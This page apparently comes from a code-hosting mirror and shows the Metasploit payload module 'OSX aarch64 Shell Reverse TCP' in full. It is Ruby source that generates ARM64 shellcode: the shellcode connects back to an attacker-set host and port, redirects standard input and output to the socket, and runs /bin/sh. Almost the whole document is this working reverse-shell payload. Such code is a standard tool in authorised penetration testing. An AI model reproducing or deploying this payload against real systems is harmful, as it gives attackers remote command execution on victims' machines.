Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/payloads/singles/osx/aarch64/shell_reverse_tcp.rb
Views: 11779
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45module MetasploitModule6CachedSize = 18878include Msf::Payload::Single910def initialize(info = {})11super(12merge_info(13info,14'Name' => 'OSX aarch64 Shell Reverse TCP',15'Description' => 'Connect back to attacker and spawn a command shell',16'Author' => [ 'alanfoster' ],17'License' => MSF_LICENSE,18'Platform' => 'osx',19'Arch' => ARCH_AARCH64,20'Handler' => Msf::Handler::ReverseTcp,21'Session' => Msf::Sessions::CommandShellUnix22)23)2425# exec payload options26register_options(27[28OptString.new('CMD', [ true, 'The command string to execute', '/bin/sh' ]),29Opt::LHOST,30Opt::LPORT(4444)31]32)33end3435# build the shellcode payload dynamically based on the user-provided CMD36def generate(_opts = {})37# Split the cmd string into arg chunks38cmd_str = datastore['CMD']39cmd_and_args = Shellwords.shellsplit(cmd_str).map { |s| "#{s}\x00" }4041cmd = cmd_and_args[0]42args = cmd_and_args[1..]4344# Don't smash the real sp register, re-create our own on the x9 scratch register45stack_register = :x946cmd_string_in_x0 = create_aarch64_string_in_stack(47cmd,48registers: {49destination: :x0,50stack: stack_register51}52)5354lport = datastore['LPORT'].to_i55lhost = datastore['LHOST']5657lport_hex = [lport].pack('v').bytes.map { |b| b.to_s(16).rjust(2, '0') }.join58lhost_hex = [IPAddr.new(lhost, Socket::AF_INET).to_i].pack('L<').bytes.map { |b| b.to_s(16).rjust(2, '0') }5960result = <<~EOF61// socket(AF_INET, SOCK_STREAM, IPPROTO_IP)62// socket:63mov x0, 0x2 // x0 = AF_INET64mov x1, 0x1 // x1 = SOCK_STREAM65mov x2, 0 // x2 = IPPROTO_IP66movz x16, #0x0200, lsl #16 // x16 = SYS_SOCKET 0x200006167movk x16, #0x006168svc 0 // system call6970// Socket file descriptor will be in x0; Additionally the store socket file descriptor in x1371mov x13, x07273// connect(sockfd, socket={AF_INET,#{lport},#{lhost}}, socklen_t=16)74// connect:75// mov x0, x13 // x0 = socketfd, already set from previous socket result - additionally stored in x1676lsl x1, x1, #1 // x1 = struct socaddr_in; sin_family=AF_INET77movk x1, #0x#{lport_hex}, lsl #16 // sin_port = htons(#{lport})78movk x1, #0x#{lhost_hex[2..3].join}, lsl #32 // sin_addr = inet_aton(ip, &addr.sin_addr)79movk x1, #0x#{lhost_hex[0..1].join}, lsl #4880str x1, [sp, #-8]!81mov x1, sp // XXX: Should be: add x1, sp, x2, but assembler does not support it82add x1, x1, x2 // XXX: Should be: add x1, sp, x2, but assembler does not support it8384mov x2, 16 // x2 = sizeof(struct sockaddr) = 1685movz x16, #0x0200, lsl #16 // x16 = SYS_CONNECT 0x200006286movk x16, #0x006287svc 08889// int dup2(int filedes=socketfd, int newfd=STDIN/STDOUT/STD)90// dup2_calls:91movz x16, #0x0200, lsl #16 // x16 = SYS_DUP2 0x200005a92movk x16, #0x005a93mov x0, x13 // x0 = socket94movz x1, 0 // x1 = STDIN95svc 0 // system call96mov x0, x13 // x0 = socket97movz x1, 1 // x1 = STDOUT98svc 0 // system call99mov x0, x13 // x0 = socket100movz x1, 2 // x1 = STDERR101svc 0 // system call102103// int execve(const char *path, char *const argv[], char *const envp[]);104// exec_call:105// Set system call SYS_EXECVE 0x200003b in x16106movz x16, #0x0200, lsl #16107movk x16, #0x003b108109mov #{stack_register}, sp // Temporarily move SP into scratch register110111// Arg 0: execve - const char *path - Pointer to the program name to run112#{cmd_string_in_x0}113114// Push execve arguments, using x1 as a temporary register115#{args.each_with_index.map do |value, index|116"// Push argument #{index}\n" +117create_aarch64_string_in_stack(value, registers: { destination: :x1, stack: stack_register })118end.join("\n")119}120121// Arg 1: execve - char *const argv[] - program arguments122#{cmd_and_args.each_with_index.map do |value, index|123bytes_to_base_of_string = cmd_and_args[index..].sum { |string| align(string.bytesize) } + (index * 8)124[125"// argv[#{index}] = create pointer to base of string value #{value.inspect}",126"mov x1, #{stack_register}",127"sub x1, x1, ##{bytes_to_base_of_string} // Update the target register to point to base of the string",128"str x1, [#{stack_register}], #8 // Store the pointer in the stack"129].join("\n") + "\n"130end.join("\n")}131132// argv[#{cmd_and_args.length}] = NULL133str xzr, [#{stack_register}], #8134135// Set execve arg1 to the base of the argv array of pointers136mov x1, #{stack_register}137sub x1, x1, ##{(cmd_and_args.length + 1) * 8}138139// Arg 2: execve - char *const envp[] - Environment variables, NULL for now140mov x2, xzr141// System call142svc #0143EOF144145compile_aarch64(result)146end147148def create_aarch64_string_in_stack(string, registers: {})149target = registers.fetch(:destination, :x0)150stack = registers.fetch(:stack, :x9)151152# Instructions for pushing the bytes of the string 8 characters at a time153push_string = string.bytes154.each_slice(8)155.each_with_index156.flat_map do |eight_byte_chunk, _chunk_index|157mov_instructions = eight_byte_chunk158.each_slice(2)159.each_with_index160.map do |two_byte_chunk, index|161two_byte_chunk = two_byte_chunk.reverse162two_byte_chunk_hex = two_byte_chunk.map { |b| b.to_s(16).rjust(2, '0') }.join163two_byte_chunk_chr = two_byte_chunk.map(&:chr).join164"mov#{index == 0 ? 'z' : 'k'} #{target}, #0x#{two_byte_chunk_hex}#{index == 0 ? '' : ", lsl ##{index * 16}"} // #{two_byte_chunk_chr.inspect}"165end166[167"// Next 8 bytes of string: #{eight_byte_chunk.map(&:chr).join.inspect}",168*mov_instructions,169"str #{target}, [#{stack}], #8 // Store #{target} on #{stack}-stack and increment by 8"170]171end172push_string = push_string.join("\n") + "\n"173174set_target_register_to_base_of_string = <<~EOF175mov #{target}, #{stack} // Store the current stack location in the target register176sub #{target}, #{target}, ##{align(string.bytesize)} // Update the target register to point to base of the string177EOF178179result = <<~EOF180#{push_string}181#{set_target_register_to_base_of_string}182EOF183184result185end186187def align(value, alignment: 8)188return value if value % alignment == 0189190value + (alignment - (value % alignment))191end192193def compile_aarch64(asm_string)194require 'aarch64/parser'195parser = ::AArch64::Parser.new196asm = parser.parse without_inline_comments(asm_string)197198asm.to_binary199end200201# Remove any human readable comments that have been inlined202def without_inline_comments(string)203comment_delimiter = '//'204result = string.lines(chomp: true).map do |line|205instruction, _comment = line.split(comment_delimiter, 2)206next if instruction.blank?207208instruction209end.compact210result.join("\n") + "\n"211end212end213214215